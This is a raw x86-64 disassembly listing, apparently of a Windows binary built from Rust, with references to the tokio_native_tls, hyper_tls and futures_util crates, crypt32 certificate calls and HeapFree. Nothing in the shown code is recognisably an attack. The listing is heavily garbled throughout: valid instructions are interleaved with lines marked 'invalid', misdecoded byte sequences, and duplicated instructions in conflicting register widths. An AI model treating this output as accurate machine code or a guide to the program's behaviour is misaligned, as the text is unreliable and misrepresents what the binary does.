movaps xmmword [rsp + 0x120], xmm0
lea rcx, [rsp + 0x6f0]
and al, 0xf0
invalid
add byte [rax], al
mov r8d, pe_nt_image_headers64
add byte [rax - 0x77], cl
invalid
call fcn.140121660
movaps xmm0, xmmword [rsp + 0x120]
movaps xmmword [rsp + 0x4c0], xmm0
lea rdx, [rsp + 0x6f8]
lea rcx, [rsp + 0x5d8]
mov r8d, 0xe8
call fcn.140121660
cmp rbp, 3
je 0x1400977b1
and al, 0xf0
invalid
add byte [rax - 0x77], cl
invalid
lea rbx, [rdi + 0x208]
movaps xmm0, xmmword [rsp + 0x4c0]
movaps xmmword [rsp + 0x2f0], xmm0
lea rcx, [rsp + 0x8c8]
lea ecx, [rsp + 0x8c8]
lea ecx, [rsp + 0x8c8]
lea rdx, [rsp + 0x5d8]
mov r8d, 0xe8
add al, ch
invalid
invalid
or byte [rax], al
cmp dword [rbx], 2
je 0x140097626
add al, ch
movabs al, byte [0x480874023b830008]
mov ecx, ebx
mov rcx, rbx
call fcn.140097a00
mov word [rdi + 0x200], 1
xor ebx, ebx
movaps xmm0, xmmword [rsp + 0x2f0]
movaps xmmword [rsp + 0x340], xmm0
lea rcx, [rsp + 0xa98]
lea rdx, [rsp + 0x8c8]
mov r8d, 0xe8
call fcn.140121660
mov byte [r12], 1
cmp rbp, 2
jne 0x14009769f
movzx eax, byte [0x14019f308]
mov edx, 8
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je case.0x14005714b.580
retf 1
invalid
mov qword [rax], r14
lea r13, [0x1401595c8]
mov r14, rax
cmp qword [rdi], 0
add byte [rdi], cl
test dword [rbp - 0x10], eax
invalid
invalid
jmp 0x1400966e9
movaps xmm0, xmmword [rsp + 0x340]
movaps xmmword [rsp + 0x2e0], xmm0
test byte [rax + riz*8], ah
add al, byte [rax]
add byte [rax - 0x73], cl
mov word [rax + rsi*4], fs
or dword [rax], eax
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x98
or al, byte [rax]
add byte [rcx - 0x48], al
call 0x1280976c6
xchg esi, eax
lahf
or byte [rax], al
test byte [rax + riz*8], ah
add al, byte [rax]
add byte [rax - 0x73], cl
mov word [rax + rsi*4], fs
or dword [rax], eax
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x98
or al, byte [rax]
add byte [rcx - 0x48], al
call 0x1280976c6
xchg esi, eax
lahf
or byte [rax], al
mov r12, qword [rsp + 0x30]
cmp qword [rdi], 0
je 0x1400976df
mov rcx, qword [rdi + 8]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rcx, qword [rdi + 0x10]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
or dword [rax], eax
cmp qword [rdi + 0x20], 0
jne 0x140096701
movups xmm6, xmmword [rsp + 0x378]
js 0x140097704
add byte [rax], al
movups xmm0, xmmword [rsp + 0x388]
adc byte [rsp + 0x388], al
movaps xmmword [rsp + 0x130], xmm0
mov r13, r12
mov r12, qword [rsp + 0x398]
lea rdx, [rsp + 0x3a0]
lea rbx, [rsp + 0xb80]
and al, 0x80
or eax, dword [rax]
add byte [rcx - 0x48], al
lock add byte [rax], al
add byte [rax - 0x77], cl
fld1
and al, 0x9f
or byte [rax], al
and al, 0x80
or eax, dword [rax]
add byte [rcx - 0x48], al
lock add byte [rax], al
add byte [rax - 0x77], cl
fld1
and al, 0x9f
or byte [rax], al
movaps xmm0, xmmword [rsp + 0x130]
movaps xmmword [rsp + 0x120], xmm0
add dword [rax], eax
add byte [rax - 0x73], cl
mov word [rax + rsi*8], fs
invalid
add byte [rax], al
add byte [rcx - 0x48], al
lock add byte [rax], al
add byte [rax - 0x77], cl
invalid
call fcn.140121660
mov qword [rdi + 0x208], rbp
mov qword [rdi + 0x210], r14
movups xmmword [rdi + 0x218], xmm6
sbb byte [rdx], al
add byte [rax], al
movaps xmm0, xmmword [rsp + 0x120]
add dword [rax], eax
add byte [rax - 0x73], cl
mov word [rax + rsi*8], fs
invalid
movups xmmword [rdi + 0x228], xmm0
mov qword [rdi + 0x238], r12
mov r12, r13
mov qword [rdi + 0x240], 0
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xf8
clc
invalid
add byte [rax], al
mov r8d, 0xe8
mov rcx, r15
stc
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xf8
clc
clc
invalid
stc
call fcn.140121660
mov rax, qword [rsp + 0x68]
and al, 0x68
mov byte [rax], 4
mov byte [r12], 3
mov qword [rsi], 4
add byte [rax], al
add byte [rax], al
mov al, 4
mov byte [rdi + 0x49], al
mov rax, rsi
movaps xmm6, xmmword [rsp + 0xc70]
add rsp, 0xc88
add byte [rbx + 0x5d], bl
add byte [rbx + 0x5d], bl
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, str.future_polled_after_completion
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_native_tls_0.3.1_srclib.rs
mov edx, 0x1e
add byte [rax], al
add byte [rbp + rcx*4 + 5], cl
sbb dword [0x15ec37805], esi
add byte [rax], al
add byte [rax], al
invalid
invalid
add byte [rax], al
call fcn.140122a20
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_tls_0.5.0_srcclient.rs
call fcn.140122c50
mov ecx, 1
mov rdx, r14
mov edx, esi
call fcn.140122170
invalid
or byte [rax], al
test eax, 0x8d480008
or eax, 0xc34cf
or al, 0
lea rcx, str.future_polled_after_completion
or al, 0
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_native_tls_0.3.1_srclib.rs
mov edx, 0x1e
add byte [rdx + 0x1e], bh
call fcn.140122a20
mov cl, 8
add byte [rax - 0x73], cl
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_native_tls_0.3.1_srclib.rs
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_native_tls_0.3.1_srclib.rs
out dx, eax
pop rcx
or al, 0
call fcn.140122c50
mov ecx, 8
or byte [rax], al
add byte [rax], al
mov edx, 0x20
and byte [rax], al
add byte [rax], al
invalid
add al, ch
test eax, 0x8b90008
test eax, 0x8b90008
call fcn.140122190
test eax, 0x8b90008
mov ecx, 8
add byte [rax], al
add byte [rdx + 8], bh
or byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
mov edx, 8
or byte [rax], al
add byte [rax], al
invalid
add al, ch
xor al, 0xa9
invalid
or byte [rax], al
call fcn.140122190
test eax, 0x8b90008
add byte [rax], al
add byte [rdx + 0x10], bh
mov ecx, 8
mov edx, 0x10
call fcn.140122190
ud2
mov ecx, 1
mov rdx, rbp
call fcn.140122170
xor ecx, ecx
mov rdx, r12
call fcn.140122170
add byte [rcx + 2], bh
add byte [rcx + 2], bh
mov rdx, r12
call fcn.140122170
int3
int3
mov edi, dword [rsi + 0x18]
jae 0x1400978e0
dec dword [rax - 0x75]
add esi, eax
dec qword [rax]
or byte [rbp + 8], dh
or byte [rcx + rcx*4 - 0xf], cl
int1
sub edi, dword [rbx + 9]
jnp 0x14009791d
add byte [rax - 0x77], cl
stc
mov ecx, edi
jl case.0x14006b166.471
add byte [rax - 0x75], cl
jle 0x140097932
invalid
adc byte [rcx - 0xf3fceff], dh
cmpxchg byte [rdi + 0x98], cl
xchg dword [rax + 0x48000000], esi
mov ecx, dword [rdi + 0xb8]
mov eax, dword [rdi + 0xc0]
xchg eax, eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x7b], cl
sal byte [rbx + rax - 1], 0x50
invalid
push rax
push rax
sbb byte [rcx], dh
leave
cmpxchg byte [rdi + 0x98], cl
invalid
add byte [rax], al
invalid
or sil, r14b
invalid
mov eax, dword [rcx]
dec qword [rax]
cwde
add byte [rax], al
add al, ch
sti
call 0xc9f479af
add edi, 0x98
add byte [rax], al
add byte [rax - 0x77], cl
mov rcx, rdi
add eax, 0xf96503e8
dec dword [rax - 0x75]
adc al, r14b
dec qword [rax]
movabs al, byte [0x8548e0d148000000]
sal byte [rbp + 0xe], 0x48
mov eax, dword [rsi + 0x100]
test rax, rax
jne 0x140097a83
jmp case.0x1400895f5.438
adc byte [rax], al
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x979c9
adc eax, 0x979c9
mov rax, qword [rsi + 0x100]
test rax, rax
je case.0x1400895f5.438
lock dec qword [rax]
jne case.0x1400895f5.438
mov rcx, qword [rsi + 0x100]
mov rdx, qword [rsi + 0x108]
or byte [rcx], al
add byte [rax], al
add al, ch
test byte [rdx], ch
sub al, byte [rbx]
invalid
lea rcx, [rsi + 0x10]
call fcn.1400978b0
invalid
invalid
dec dword [rax - 0x7d]
cmp qword [rsi + 0x40], 0
je 0x140097abf
mov r8, qword [rsi + 0x48]
mov rcx, qword [0x14019f258]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
jns 0x140097ac7
invalid
cmp dword [rcx + 9], 0x7e834800
invalid
cmp qword [rsi + 0x60], 0
je 0x140097ad9
mov r8, qword [rsi + 0x68]
mov rcx, qword [0x14019f258]
adc byte [rax], al
adc byte [rax], al
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsi + 0x80], 0
je case.0x14005714b.275
mov r8, qword [rsi + 0x88]
mov rcx, qword [0x14019f258]
mov ecx, dword [0x14019f258]
add byte [rax - 0x75], cl
or eax, 0x107767
ja 0x140097b00
invalid
mov ecx, dword [0x14019f258]
ja 0x140097b00
add byte [rcx], dh
sar bh, cl
adc eax, 0x97947
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0xb8]
add byte [rax], al
mov rcx, rax
mov ecx, eax
neg rcx
jo 0x140097b7d
mov rdi, qword [rsi + 0xc8]
test rdi, rdi
test edi, edi
test edi, edi
je 0x140097b58
mov rbx, qword [rsi + 0xc0]
mov rbx, qword [rsi + 0xc0]
sahf
rol byte [rax], 0
add byte [rax], al
invalid
invalid
ret
add byte [rax], al
add rbx, 8
add ebx, 8
or byte [rbx + rcx*4 + 0x35], cl
mov r14, qword [sym.imp.kernel32.dll_HeapFree]
sbb bh, byte [rcx + 9]
add bl, ch
adc dword [rdi], ecx
jmp 0x140097b39
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
invalid
ret
add byte [rax], al
add rbx, 0x18
dec rdi
iretd
dec edi
iretd
je 0x140097b51
cmp qword [rbx - 8], 0
je 0x140097b30
jnp 0x140097b35
add byte [rax + rsi*8 + 0x4c], dh
mov eax, dword [rbx]
mov rcx, qword [0x14019f258]
invalid
ja case.0x14008e585.385
add byte [rcx], dh
rol byte [rcx - 1], cl
invalid
jmp 0x140097b30
invalid
invalid
ja case.0x14008e585.385
add byte [rcx], dh
rol byte [rcx - 1], cl
invalid
mov rax, qword [rsi + 0xb8]
add byte [rax], al
add byte [rax - 0x7b], cl
sal byte [rax + riz + 0x4c], 0x8b
je 0x140097b7d
mov r8, qword [rsi + 0xc0]
invalid
invalid
test rax, rax
test eax, eax
je 0x140097b7d
mov r8, qword [rsi + 0xc0]
mov rcx, qword [0x14019f258]
mov ecx, dword [0x14019f258]
or eax, 0x1076ed
or eax, 0x1076ed
in eax, dx
jbe 0x140097b7a
invalid
adc byte [rax], al
add byte [rcx], dh
ror byte [rax - 0x7d], cl
invalid
xor edx, edx
add rsp, 0x28
add esp, 0x28
add esp, 0x28
invalid
pop rbx
pop rdi
pop rsi
pop r14
jmp qword [sym.imp.kernel32.dll_HeapFree]
jmp qword [sym.imp.kernel32.dll_HeapFree]
jmp qword [sym.imp.kernel32.dll_HeapFree]
js 0x140097b85
or dword [rax], eax
add byte [rax + 0x28c48348], dl
nop
add rsp, 0x28
add esp, 0x28
sub byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r14
pop rsi
ret
int3
push rsi
push rdi
sub rsp, 0x28
sub esp, 0x28
sub esp, 0x28
cmp byte [rcx + 0x10], 0
je 0x140097ba3
jns case.0x140066b58.231
add byte [rdi + rax + 0x48], dh
add esp, 0x28
invalid
add rsp, 0x28
sub byte [rdi + 0x5e], bl
pop rdi
pop rsi
ret
mov rsi, qword [rcx]
xor dword [rax - 0x75], ecx
jns 0x140097bb2
invalid
mov rdi, qword [rcx + 8]
or byte [rax - 0x75], cl
invalid
mov rax, qword [rdi]
mov eax, dword [rdi]
test rax, rax
test eax, eax
je case.0x140059890.248
mov rcx, rsi
call rax
cmp qword [rdi + 8], 0
je case.0x140097fb5.374
add byte [rsi + rbx*8 + 0x48], dh
cmp dword [rdi + 0x10], 0x11
adc byte [rcx], dl
cmp qword [rdi + 0x10], 0x11
adc byte [rcx], dl
jb 0x140097bc9
mov rsi, qword [rsi - 8]
mov esi, dword [rsi - 8]
mov rcx, qword [0x14019f258]
or eax, 0x107688
adc byte [rax], al
xor edx, edx
mov r8, rsi
mov eax, esi
ror byte [rcx - 0x77], cl
mov eax, esi
invalid
add rsp, 0x28
pop rdi
invalid
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
and eax, 0x9785e
and eax, 0x9785e
int3
js 0x140097bea
add ah, cl
int3
int3
int3
int3
sub byte [rax + 0x7500107a], al
sbb cl, byte [rax - 0x39]
invalid
add dword [rbx], eax
add byte [rbp + 0x1a], dh
jne 0x140097c14
mov qword [rcx], 3
mov dword [rcx], 3
add byte [rax], al
add byte [rdi], cl
movups xmm0, xmmword [rdx]
movups xmm0, xmmword [rdx]
add cl, byte [rdi]
adc dword [rcx + 8], eax
movups xmmword [rcx + 8], xmm0
mov byte [rdx + 0x10], 1
adc byte [rcx], al
add dword [rax - 0x77], ecx
enter 0xffffffffffff8348, 0xffffffffffffffc4
invalid
invalid
invalid
mov rax, rcx
add rsp, 0x28
ret
sub bl, al
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_tls_0.5.0_srcclient.rs
lea ecx, [0x14015b108]
in eax, dx
xor al, 0xc
add al, ch
xor byte [rax - 0x3333fff8], dh
call fcn.140122c50
int3
int3
int3
int3
int3
int3
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
adc eax, 0xc33c5
mov r8d, 0x18
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x48], al
sbb byte [rax], al
invalid
add byte [rax], al
jmp rax
int3
movabs rax, 0x7038ea2c804338d6
movabs rdx, 0x2f56e9317e18babb
mov edx, 0x7e18babb
xor ecx, ebp
push rsi
invalid
ret
mov eax, 0x804338d6
invalid
cmp byte [rbx - 0x80], al
sub al, 0xea
cmp byte [rax + 0x48], dh
jo case.0x14005f8a0.362
invalid
jo case.0x14005f8a0.362
mov edx, 0x7e18babb
mov edx, 0xe9317e18
xor ecx, ebp
push rsi
invalid
int3
int3
int3
sal al, 0x49
shl ecx, 4
invalid
invalid
shl r9, 4
add al, 0xf
invalid
nop dword [rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rbp - 0x7b], cl
test r9, r9
test r9, r9
je case.0x140097f43.311
sbb eax, 0x10408b41
mov eax, dword [r8 + 0x10]
mov eax, dword [rax + 0x10]
adc byte [rcx - 0x7d], cl
rcl byte [rax], 0x49
invalid
add r8, 0x10
add eax, 0x10
add r9, 0xfffffffffffffff0
add ecx, 0xfffffff0
invalid
test rax, rax
test eax, eax
sal byte [rdx + rbp*8 + 0x4d], 0x8b
or byte [rcx - 0x77], cl
or byte [rcx - 0x77], cl
je case.0x140057811.277
mov r8, qword [r8 + 8]
mov eax, dword [rax + 8]
or byte [rcx - 0x77], cl
mov r9, rax
jmp case.0x140057a1f.265
add byte [rax], al
invalid
shr ecx, 0xe
add byte [rax], al
add byte [rcx - 0x48], al
invalid
invalid
add byte [rax], al
mov r8d, 1
mov eax, 1
add dword [rax], eax
add byte [rax], al
add byte [rbp + 0x31], al
xor r9d, r9d
xor ecx, ecx
leave
jmp case.0x140057a1f.265
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + 0x57], al
push r15
push r14
push rsi
push r13
push rbp
push r12
push rsp
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xb8
sub esp, 0xb8
sub esp, 0xb8
add byte [rax], al
add byte [rdi], cl
movaps xmmword [rsp + 0xa0], xmm6
movaps xmmword [rsp + 0xa0], xmm6
mov ah, 0x24
movabs al, byte [0x58244c894c000000]
and al, 0x58
and al, 0xa0
add byte [rax], al
add byte [rcx + rcx*4 + 0x4c], cl
and al, 0x58
mov qword [rsp + 0x58], r9
and al, 0x58
mov qword [rsp + 0x50], r8
and al, 0x50
and al, 0x50
push rax
mov r15, rdx
mov edi, edx
xlatb
mov rsi, rcx
mov esi, ecx
invalid
lea r12, [rcx + 0x30]
invalid
lea rbx, [rsp + 0x70]
lea ebx, [rsp + 0x70]
jo case.0x1400679a0.307
lea r14, [rcx + 0x10]
lea esi, [rcx + 0x10]
jno case.0x14005f8a0.247
adc byte [rax - 0x73], cl
lea rdi, [rcx + 0x28]
jns 0x140097d14
lea r13, [rsp + 0x38]
lea rbp, [rsp + 0x20]
and al, 0x20
and al, 0x20
and byte [rdi], cl
xorps xmm6, xmm6
mov rax, qword [rsi]
mov eax, dword [rsi]
push rdi
test byte [rax - 0x75], 6
mov eax, dword [rsi]
invalid
cmp rax, 1
cmp eax, 1
clc
add dword [rcx + rdi - 0x17], esi
je 0x140097d3b
invalid
je 0x140097d3b
cmp ecx, ebp
jmp 0x140097e08
add dword [rcx], eax
add byte [rax], al
add byte [rsi + 0xf], ah
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rsi + 0xf], ah
invalid
add byte [rax], al
add byte [rdi], cl
adc dword [rsi], esi
movups xmmword [rsi], xmm6
mov rax, qword [rsp + 0x20]
mov eax, dword [rsp + 0x20]
and al, 0x20
mov rcx, qword [rsp + 0x28]
mov ecx, dword [rsp + 0x28]
sub byte [rdi], cl
sub byte [rsp + 0x30], al
and al, 0x30
movaps xmm0, xmmword [rsp + 0x30]
and al, 0x30
movups xmmword [r14 + 0x10], xmm0
movups xmmword [rsi + 0x10], xmm0
adc byte [rcx - 0x77], r9b
invalid
mov qword [r14], rax
mov dword [rsi], eax
mov qword [r14 + 8], rcx
mov dword [rsi + 8], ecx
mov rax, qword [rsi]
cmp rax, 1
jne 0x140097e08
int 0
add byte [rax], al
add dword [rdi], ecx
test ebp, ecx
int 0
invalid
int 0
add byte [rax], al
add byte [rax - 0x77], cl
mov rcx, rbp
mov ecx, ebp
jmp 0x18dec068e
mov rdx, r12
mov edx, esp
loop case.0x14006b166.241
mov r8, r15
mov eax, edi
clc
call fcn.14006d8b0
pop rbx
pop rbx
std
dec dword [rax - 0x75]
mov rcx, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x20]
and al, 0x20
cmp rcx, 2
cmp ecx, 2
je 0x140097e76
add dword [rax], eax
add byte [rax - 0x75], cl
mov rax, qword [rsp + 0x28]
mov rax, qword [rsp + 0x28]
and al, 0x28
mov rdx, qword [rsp + 0x30]
mov edx, dword [rsp + 0x30]
and al, 0x30
xor byte [rcx + 0xf], al
adc byte [rbp], al
invalid
movups xmm0, xmmword [r13]
movups xmm0, xmmword [rbp]
add byte [rdi], cl
sub dword [rsp + 0x90], eax
test byte [rax + rdx*4], ah
add byte [rax], al
invalid
movaps xmmword [rsp + 0x90], xmm0
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax - 0x7b], cl
test rcx, rcx
test rcx, rcx
je 0x140097e7d
test byte [0x188097d7a], al
add dword [rax], eax
add byte [rax - 0x7b], cl
invalid
test rax, rax
test eax, eax
ror byte [rdi], 0x84
and al, byte [rcx]
je 0x140097ea3
test byte [rdx], ah
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
movaps xmm0, xmmword [rsp + 0x90]
sub byte [rsp + 0x90], al
nop
add byte [rax], al
add byte [rax], al
movaps xmmword [rsp + 0x80], xmm0
movaps xmmword [rsp + 0x80], xmm0
and al, 0x80
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x60], rax
add byte [rax], al
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x60], eax
invalid
mov qword [rsp + 0x68], rdx
movups xmmword [rbx], xmm0
cmp qword [rsp + 0x70], 0
cmp dword [rsp + 0x70], 0
cmp dword [rsp + 0x70], 0
jl 0x140097dc6
jo 0x140097da4
add byte [rdx + rcx*2 + 0x48], dh
mov eax, dword [rsp + 0x60]
and al, 0x60
je 0x140097df0
mov rax, qword [rsp + 0x60]
and al, 0x60
mov rcx, qword [rsp + 0x68]
mov ecx, dword [rsp + 0x68]
push 0x2444100f
jo case.0x14008f4c8.96
invalid
movups xmm0, xmmword [rsp + 0x70]
and al, 0x70
and al, 0x70
movaps xmmword [rsp + 0x30], xmm0
sub dword [rsp + 0x30], eax
and al, 0x30
xor byte [rax - 0x77], cl
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
and al, 0x20
and byte [rax - 0x77], cl
mov qword [rsp + 0x28], rcx
and al, 0x28
and al, 0x28
cmp qword [rsi], 0
cmp dword [rsi], 0
add byte ds:[rdi], cl
test dword [rdx - 1], eax
invalid
invalid
invalid
jne case.0x140066b58.241
invalid
mov rax, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x18]
mov r8, qword [rsi + 0x20]
mov rcx, rdi
stc
stc
call qword [rax + 0x10]
jmp case.0x140066b58.241
invalid
invalid
invalid
adc cl, ch
sub edi, edi
invalid
invalid
invalid
nop word cs:[rax + rax]
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
lea rcx, [rsp + 0x78]
add byte [rax], al
lea rcx, [rsp + 0x78]
lea ecx, [rsp + 0x78]
xor r8d, r8d
call qword [rax + 0x10]
mov rax, qword [rsi]
cmp rax, 1
je 0x140097d3b
dec dword [rax - 0x7b]
ror byte [rdi], 0x85
mov eax, dword [rax]
add byte [rax], al
mov rdx, qword [rsi + 8]
push rsi
or byte [rbx + rcx*4 + 0x66], cl
and byte [rbp - 0x77], cl
out 0x49, eax
sub edi, edx
test rax, rax
jne 0x140097e9c
push rsi
or byte [rbx + rcx*4 + 0x66], cl
and byte [rbp - 0x77], cl
out 0x49, eax
sub edi, edx
mov rax, qword [rsp + 0x58]
cmp rax, r15
cmovb r15, rax
mov r14, r15
add r14, rdx
jb 0x140097efe
cmp r14, r12
ja 0x140097f10
add edx, ebp
mov rcx, qword [rsp + 0x50]
and al, 0x50
and al, 0x50
mov r8, r15
call fcn.140121660
add byte [rcx + rcx*4 + 0x76], cl
or byte [rbp + 0x39], cl
hlt
jne 0x140097e9f
mov rax, qword [rsi + 0x10]
mov rcx, rdi
mov rdx, r13
mov edx, ebp
mov edx, ebp
mov r8, r12
call qword [rax + 0x10]
mov qword [rsi], 1
mov dword [rsi], 1
jmp 0x140097e9f
mov eax, 2
jmp case.0x1400895f5.353
cmp qword [rsi], 0
jne 0x140097e95
invalid
adc cl, byte [rax - 0x75]
adc byte [rax - 0x75], r9b
mov rdx, qword [rsi + 0x18]
mov r8, qword [rsi + 0x20]
mov rcx, rdi
mov rax, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x18]
mov r8, qword [rsi + 0x20]
mov rcx, rdi
call qword [rax + 0x10]
push rax
adc byte [rax - 0x39], cl
invalid
mov qword [rsi], 2
xor r15d, r15d
xor eax, eax
jmp case.0x1400895f5.353
invalid
cmp al, 0x48
mov ecx, edx
mov rcx, rdx
call fcn.1400704f0
mov r15, rax
mov edi, eax
movaps xmm0, xmmword [rsp + 0x20]
sub byte [rsp + 0x20], al
invalid
xchg r13b, r15b
dec dword [rcx - 0x77]
mov edi, eax
movaps xmmword [rsp + 0x80], xmm0
cmp qword [rsi], 0
jne case.0x1400895f5.275
mov rax, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x18]
push rsi
sbb byte [rbx + rcx*4 + 0x46], cl
mov eax, dword [rsi + 0x20]
mov rcx, rdi
push rsi
sbb byte [rbx + rcx*4 + 0x46], cl
mov eax, dword [rsi + 0x20]
mov rcx, rdi
call qword [rax + 0x10]
mov qword [rsi], 2
mov eax, 1
add byte [rax], al
invalid
add byte [rax], al
add byte [rax + 1], bh
add byte [rax], al
invalid
mov rdx, r15
movaps xmm6, xmmword [rsp + 0xa0]
and al, 0xa0
add byte [rax], al
add byte [rax - 0x7f], cl
invalid
mov eax, 0x5b000000
add byte [rax], al
add byte [rbx + 0x5d], bl
add byte [rax], al
add byte [rbx + 0x5d], bl
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_stream_try_streaminto_async_read.rs_
mov rcx, rdx
ror dword [rcx + rcx*4 - 0xe], 1
call fcn.140122990
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_stream_try_streaminto_async_read.rs_
xchg ecx, eax
xor byte [rax + rax], cl
xchg ecx, eax
xor byte [rax + rax], cl
mov rcx, r14
mov rdx, r12
call fcn.1401225f0
int3
int3
int3
int3
and eax, 3
lea rdx, [0x14019461c]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
cmp ecx, 0x3e2
add eax, dword [rax]
add byte [rsi + 0x40], bh
jle 0x140097f98
jle 0x140097f98
cmp ecx, 0x271c
cmp ecx, 0x271c
stc
sbb al, 0x27
add byte [rax], al
jle 0x140097fba
pop rdx
lea edx, [rcx - 0x271d]
cmp edx, 0x34
ja case.default.0x140097f7d
add byte [rax], al
invalid
jrcxz 0x140097f3c
invalid
inc dword [rbx - 0x78f0cb06]
leave
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0xfcade
fmulp st(2)
invalid
invalid
lea rcx, [0x140194a54]
movsxd rdx, dword [rcx + rdx*4]
add rdx, rcx
jmp rdx
add byte [rdi], cl
rol ebx, 0xf
movzx eax, byte [rcx + 0xf]
ret
lea edx, [rcx - 2]
cmp edx, 0x109
cli
or dword [rcx], eax
add byte [rax], al
movzx eax, byte [rcx + 0xf]
ret
lea edx, [rcx - 2]
cmp edx, 0x109
cli
or dword [rcx], eax
add byte [rax], al
ja 0x14009806a
lea rcx, [0x14019462c]
or eax, 0xfc67e
str word [rax + 0x63]
adc al, 0x91
movsxd rdx, dword [rcx + rdx*4]
invalid
add rdx, rcx
jmp rdx
xor eax, eax
ret
cmp ecx, 0x50e
jle 0x140097ff3
jg 0x140098081
add byte [rax], al
add byte [rcx + 0x50ff9], al
cmp ecx, 0x50f
invalid
test byte [rsi], dl
cmp ecx, 0x50f
add eax, 0x840f0000
invalid
je 0x1400980f8
add dword [rax], eax
add byte [rcx + 0x5b4f9], al
cmp ecx, 0x5b4
je case.0x140097f7d.10060
jmp case.0x140097f7d.10014
cmp ecx, 0x46a
jle 0x14009804d
cmp ecx, 0x5b4
je case.0x140097f7d.10060
add eax, 0x840f0000
mov ch, 0
add byte [rax], al
jmp case.0x140097f7d.10014
cmp ecx, 0x4ce
jg 0x1400980a6
cmp ecx, 0x46b
je 0x1400980fb
cmp ecx, 0x476
jne case.0x140097f7d.10014
mov al, 0x20
ret
lea eax, [rcx - 0x3c2a]
cmp eax, 2
jb case.0x140097f7d.10060
cmp ecx, 0x3e3
je case.0x140097f7d.10060
cmp ecx, 0x41d
je case.0x140097f7d.10060
invalid
cmp ecx, 0x461
je case.0x140097f7d.10060
jmp case.0x140097f7d.10014
mov al, 0x21
ret
cmp ecx, 0x150
je 0x1400980fe
cmp ecx, 0x252
je case.0x140097f7d.10060
mov al, 0x28
ret
cmp ecx, 0x1716
je case.0x140097f7d.10060
cmp ecx, 0x1b64
je case.0x140097f7d.10060
jmp case.0x140097f7d.10014
mov al, 0x16
ret
cmp ecx, 0x4cf
je case.0x140097f7d.10051
cmp ecx, 0x4d0
jne case.0x140097f7d.10014
invalid
mov al, 4
ret
mov al, 0x14
ret
mov al, 0x26
ret
mov al, 0x18
ret
mov al, 0xb
ret
mov al, 0xc
ret
mov al, 5
ret
mov al, 0x24
ret
mov al, 0x10
ret
mov al, 0x1c
ret
mov al, 0x1f
ret
mov al, 0x11
ret
mov al, 0x1b
ret
mov al, 0x19
ret
mov al, 0xe
ret
mov al, 0x1a
ret
mov al, 0x1e
ret
mov al, 0xf
ret
lea rcx, [rax - 3]
add rax, 0xfffffffffffffffe
cmp rcx, 2
mov ecx, 0
cmovae rax, rcx
test rax, rax
jne 0x14009b9be
cmp dword [rbx], 2
je 0x14009bde4
mov rsi, qword [rdx]
cmp rsi, 4
jne 0x140099703
jmp 0x14009bde4
mov rsi, qword [rsi]
lea rcx, [rsi - 1]
cmp rsi, 2
mov eax, 0
cmovae rax, rcx
test rax, rax
jne 0x14009b1f0
mov rcx, qword [rsp + 0x268]
mov rax, qword [rcx + 0x70]
mov qword [rsp + 0x1c0], rax
movups xmm0, xmmword [rcx + 0x60]
movaps xmmword [rsp + 0x1b0], xmm0
movups xmm0, xmmword [rcx + 0x50]
movaps xmmword [rsp + 0x1a0], xmm0
movups xmm0, xmmword [rcx + 0x40]
movaps xmmword [rsp + 0x190], xmm0
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmm2, xmmword [rcx + 0x20]
movups xmm3, xmmword [rcx + 0x30]
